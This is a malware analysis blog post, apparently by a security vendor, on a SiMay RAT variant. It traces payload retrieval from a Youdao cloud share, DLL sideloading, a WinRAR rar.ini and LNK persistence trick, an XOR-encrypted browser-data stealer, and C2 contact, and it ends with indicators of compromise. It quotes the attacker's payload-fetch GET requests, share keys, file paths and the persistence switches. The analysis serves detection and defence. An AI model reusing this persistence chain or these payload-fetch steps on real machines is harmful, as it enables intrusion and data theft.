Hackers have been abusing cloud services to host their malicious payloads and then use a downloader/loader to deploy them in the victim’s machine. Recently we came across a Remote Access Trojan (RAT) sample doing an activity on similar lines. This has been shared in VirusTotal. This sample was later identified as a variant of SiMay RAT. At the time of writing this blog, the sample under consideration had a low AV detection rate in VT, which further increased our curiosity to dive deeper into this. Not only that, there were also a few more samples of the SiMay RAT variant that were uploaded in VT with different hashes.

While analysing the main sample, we identified it as a Multistage downloader/loader, which downloads the payload as a zip file (from the cloud service that is subscribed to by the attacker) and executes one of the legit executable with a malicious dll file (which are inside the zip) in memory using DLL sideloading method.

In this blog we will discuss how the SiMay RAT is downloaded as a payload from the cloud, deployed in the machine, its persistence and how it goes about loading the malicious DLL.

Figure 1: Workflow of SiMay RAT

Analysing the Binary

On analysing the sample, we noticed that the main loader has a Windows File Explorer icon , which can be deceiving to a user who can unknowingly execute the same.

The executable was a VC8 compiled binary. The TimeDateStamp indicates it was compiled on 10th of April 2022. There were multiple URLs hard coded in the binary as shown in Figure 2. We will be getting into the deets of these URLs later in this blog during the payload download process.

Figure 2: Hardcoded URLs in Binary

Behavioural Analysis

Payload Download Process :

The malware first tries to decrypt  two executables that are already present in the data section. Code block for the same is shown in Figure 3

Figure 3: Decryption Loop for .NET Loaders
Figure 4: Decrypted .NET Binary

The decrypted executables are .NET compiled binaries. While debugging we found that the first executable to be named as Cshape-CppHostingBridageAuto and is used for performing multiple operations like invoking a process, writing a binary from the memory and helping with resolving web request for the loader, and the second executable is named as CShapeHosting and is responsible for downloading the payload.

Figure 5: Downloader Function in CShapeHosting executable
  • The CShapeHosting will get the arguments from the Main Loader and tries to contact the ip 59.111.183[.]194 which is corresponding to the domain note.youdao.com (A Chinese cloud service provider) using GET request as:

GET /yws/api/personal/share?method=get&shareKey=cfae45c9e7cc8a7734b72abe98235dd1 HTTP/1.0

Host: note.youdao[.]com

To which the server responds with a JSON with interesting strings :

“id”:”WEB842633ba1786c31f2996429d59ceca79″,”userId”:”quanshiyu2022@163.com“,”name”: GUDUO, “shareTime”:1639822384952 (2021-12-18)

We can see that a share has been activated way before the malware binary was compiled, showing that the malware actors had spent quite some time planning this campaign.

  • After parsing the JSON data, the malware creates another GET request as:

GET /yws/public/notebook/cfae45c9e7cc8a7734b72abe98235dd1/subdir/WEB842633ba1786c31f2996429d59ceca79 HTTP/1.0

As we can see the subdir/WEB842633ba1786c31f2996429d59ceca79 is retrieved from the JSON data. Now the server replies with yet another JSON data which contains interesting information for the payloads that is stored in the attacker’s share that includes the necessary keys for accessing the file like a web path “p”:”/<PATH_TO_FILE>” and file name “tl”:”<FILE_NAME>.zip”

For the sample under analysis, the share contains around 27 malicious payloads.

  • It now takes one of the zip file and tries to download it with another GET request as:

GET /yws/api/personal/file/WEB4e6116b430403afd518512b82258a50d?method=download&shareKey=cfae45c9e7cc8a7734b72abe98235dd1 HTTP/1.0

Here id WEB4e6116b430403afd518512b82258a50d is retrieved from the previous JSON data, for which the server replies with the direct path to the malicious zip file (in our case it is o.zip) to be downloaded. The sample is then downloaded to the “%USER%/Public/<root>” folder.

Figure 6: Multiple Payloads from YouDao Cloud Share seen in a Web Interface

Analysing the Payload Archive

The contents of the zip file will look like this :

Figure 7: Contents of Zip Archive

The main sample then extracts and writes the contents from the zip file to predefined locations as below:

Contents of the folder named “package” are copied to “C:\Users\Public\Documents\efender\<random_name>\<files>” which consist of the malicious DLL (GLUT32.dll), a legit executable exe (washost.exe) in which the DLL will be side-loaded later, and an XML file which will be used by the DLL later in the  execution chain.

Contents of the folder named “static” are copied to “C:\ProgramData\” as Windows-updatadfinder-CProgramData which will be used as a stealer and will be explained later in the blog.

Content of the folder name “winzipper” (fdaf1.fda1gfq) is copied to C:\Users\Public\Downloads which is a command line version of WinRAR. This file is used for creating persistence for the payload.

Creating Persistence

After extracting the payloads, the malware uses the WinRAR vulnerability to create persistence where the WinRAR CLI payload comes into play. First, it creates a rar.ini file in the Public\Downloads folder that has the string “switches=-opC:\Users\<user_name>\AppData\Roaming –y”, as the WinRAR CLI can read the set of switches from the rar.ini. This switch describes the default location for the archive to be decompressed.

Now the malware creates an lnk file in “C:\Users\Public\Downloads\mobisample_start.lnk” targeting the exe payload from “C:\Users\Public\Documents\efender\<random_name>\<executable_name>”.

Figure 8: Function to Create LNK file

The created lnk file is then compressed to <random>.rar file in the same location by the WinRAR CLI tool with arguments as seen in Figure 9.

Figure 9: Argument for WinRAR CLI tool

Another lnk file is then created by the malware with a random name in the path C:\Users\Public\Music which has the target as :

“C:\Users\Public\Downloads\<winrar_CLI>.exe x C:\Users\Public\Downloads\<random>.rar”

where the argument “x” is used for extracting files with a full path. The malware then creates an instance of explorer.exe with the address as “C:\Users\Public\Music” and runs in the background with the help of CppHostingBridageAuto as shown in the Figure below.

Figure 10: Call to CppHostingBridageAuto from Loader
Figure 11: Auto Function responsible for Invoking Explorer

The invoked explorer.exe is then used to start the lnk file that was created in Public\Music folder which will now extract the archived lnk file mobisample_start.lnk to the “%Appdata%\Roaming\ Microsoft\Windows\Start Menu\Programs\startup” folder. There by achieving persistence.

Executing the Payload

After creating persistence, the malware renames the dropped file “Windows-updatadfinder-CProgramData” from ProgramData to Shell.txt which contains the shell code which will be used by the payload to perform the “stealer” activity.

To execute the payload, the malware then creates a URL file in the path “C:\Users\Public\Music”, which will be executed using the already invoked explorer process.

Figure 12: Target of the URL file

The payload <random>.exe then gets executed with the GLUT32.dll side-loaded, whereas the export functions of the DLL have the same name as available in the genuine version of the DLL. We also identified that the DLL has strings “Blackmoon” which corresponds to a Chinese compiler used in the 2014 KrBanker Trojan attack  in South Korea.

Figure 13: Malicious DLL sideloaded to legit executable

We noticed that all the export functions in the sideloaded DLL do the same task by calling a same function which decrypts the xml file “wc.xml” and then uses the contents to create a new shell.ini file in “C:\programdata\shell.ini”. The shell.ini file contains the C2 server’s IP address that the payload needs to contact.

Figure 14: Contents of shell.ini file

The shell.txt contains shell code to import modules and a PE file (encrypted) where each byte is XORed by 25h. Further, the decrypted PE file had the original DLL name as server.dll. It also had multiple strings related to different browser names and their paths for user data this dll acts as a stealer for the RAT.

Figure 15: Suspicious strings in the Encrypted shell.txt file

This PE file will then be loaded into the memory space of the payload process and does the stealer activity when the attacker commands. The stolen data is then sent to the C2 server by the payload.

Figure 16: Payload contacting C2

We at K7 Labs provide detection against latest threats and also for this newer variant of SiMay RAT. Users are advised to use a reliable security product such as “K7 Total Security” and keep it up-to-date so as to safeguard their devices.

Indicators of Compromise(IOC)

File Name Hash K7 Detection Name
b.exe (Initial Loader) A641B3B81153936C6A3D3D99FE8D9736 Trojan ( 00590abd1 )
GLUT32.dll (RAT) 93FA023228112729F86015727346D1F8 Adware ( 00506e8d1 )

C2 :

202.8.121[.]28

 

 

Like what you're reading? Subscribe to our top stories.

If you want to subscribe to our monthly newsletter, please submit the form below.

    0 replies on “Sneaky SiMay”